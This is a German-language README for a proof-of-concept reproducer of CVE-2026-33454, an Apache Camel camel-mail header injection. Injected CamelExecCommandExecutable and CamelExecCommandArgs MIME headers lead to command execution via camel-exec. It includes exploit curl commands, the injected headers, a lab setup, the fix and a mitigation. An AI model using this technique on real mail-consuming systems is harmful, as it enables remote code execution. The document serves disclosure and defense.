
Reproducer for CVE-2026-33454: Apache Camel camel-mail header injection to RCE via camel-exec
Dieses Projekt demonstriert eine Camel Message Header Injection-Schwachstelle in Apache Camels camel-mail-Komponente, verfolgt als CVE-2026-33454. Ein Angreifer, der eine E-Mail an ein Postfach senden kann, das von einem Camel-Mail-Consumer überwacht wird, kann Camel*-Kontroll-Header in den Exchange injizieren und so Remote Code Execution erreichen, wenn die Route an einen header-sensitiven Producer wie camel-exec weiterleitet.
Sicherheitshinweis: https://camel.apache.org/security/CVE-2026-33454.html
| Eigenschaft | Wert |
|---|---|
| Komponente | camel-mail |
| Betroffene Klasse | org.apache.camel.component.mail.MailHeaderFilterStrategy (+ MailBinding.extractHeadersFromMail) |
| Ursache | Die Filterstrategie konfiguriert nur die OUT-Richtung (setOutFilterStartsWith) und NICHT die IN-Richtung, sodass eingehende MIME-Header nicht gefiltert werden |
| CWE | CWE-20: Fehlerhafte Eingabevalidierung (Camel Message Header Injection) |
| Auswirkung | Remote Code Execution (über header-sensitive Producer, z.B. camel-exec) |
| Betroffene Versionen | Von 3.0.0 vor 4.14.6 und von 4.15.0 vor 4.18.1 |
| Behobene Versionen | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23222 |
| Melder | Hyunwoo Kim (@v4bel) |
MailHeaderFilterStrategy erweitert DefaultHeaderFilterStrategy. In betroffenen Versionen konfiguriert sein Konstruktor nur den Out-Filter und setzt nie den In-Filter:
// MailHeaderFilterStrategy - affected version (only the OUT direction is filtered)
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH); // OUT only
// no setInFilterStartsWith(...) -> inbound Camel* headers are NOT filtered
}
Wenn Camel Mails konsumiert (z.B. from("imap://...") oder from("pop3://...")), kopiert MailBinding.extractHeadersFromMail() jeden MIME-Header in die Exchange-In-Header, gesteuert durch headerFilterStrategy.applyFilterToExternalHeaders(...). Da der In-Filter nie konfiguriert wurde, passieren Camel*-präfixierte MIME-Header ungehindert:
// MailBinding.extractHeadersFromMail() - the in-filter is not configured, so Camel* passes
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }
Ein Angreifer, der E-Mails an das überwachte Postfach senden kann, kann daher beliebige Camel*-Kontroll-Header setzen. Wenn die Route an einen header-sensitiven Producer wie camel-exec weiterleitet, überschreiben die Header CamelExecCommandExecutable / CamelExecCommandArgs den Befehl (standardmäßig in den betroffenen Versionen beachtet) → beliebige OS-Befehlsausführung.
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
.to("exec:echo?args=hello") // fixed, harmless command
.convertBodyTo(String.class);
Ein GreenMail-Container bietet SMTP (3025) und IMAP (3143) mit einem einzigen Postfach (Login victim, Passwort secret, Adresse victim@localhost):
docker compose up -d
# or:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
-e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
greenmail/standalone:2.1.0
mvn clean package -DskipTests
mvn spring-boot:run
Startet die IMAP-Opfer-Route und einen Hilfs-REST-Controller auf Port 8080.
curl http://localhost:8080/exploit/normal
Der Consumer nimmt sie auf und führt echo hello aus.
# default benign proof: touch /tmp/pwned
curl http://localhost:8080/exploit/attack
# or choose the executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"
Dies liefert eine E-Mail, deren MIME-Header Folgendes enthalten:
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned
# wait ~2s for the IMAP poll cycle, then:
ls -la /tmp/pwned
Wenn /tmp/pwned existiert, hat der injizierte MIME-Header den exec-Befehl überschrieben → RCE.
docker compose down # or: docker rm -f greenmail-cve
Die Injektion erfordert nur einen nachgeschalteten header-sensitiven Producer. Der Advisory erwähnt camel-bean, camel-exec und camel-sql; allgemeiner:
CamelExecCommandExecutable / CamelExecCommandArgs → OS-BefehlsausführungCamelFileName → beliebiges Dateischreiben / Pfad-TraversalCamelBeanMethodName → Aufruf einer anderen Methodeimap://, imaps://, pop3://, ...).removeHeaders("Camel*") zwischen dem Mail-Consumer und diesem Producer.Der Angreifer muss lediglich in der Lage sein, eine E-Mail an das überwachte Postfach zu senden.
Der Fix (CAMEL-23222) konfiguriert auch den eingehenden Filter:
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
inFilter[CAMEL_FILTER_STARTS_WITH.length] = "mail.smtp.";
inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
setInFilterStartsWith(inFilter); // now the inbound direction is filtered too
}
Bis zum Upgrade:
.removeHeaders("Camel*") direkt nach dem from("imap:...").CVE-2026-33454/
├── pom.xml
├── docker-compose.yml # GreenMail-Mail-Server (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot-Einstiegspunkt
│ ├── MailExecRoute.java # die verwundbare Opfer-Route (imap -> exec)
│ └── ExploitController.java # Angreifer: Zustellung der bösartigen E-Mail über SMTP
└── resources/
└── application.properties
Dieser Reproducer wird nur für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich offengelegte und behobene Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.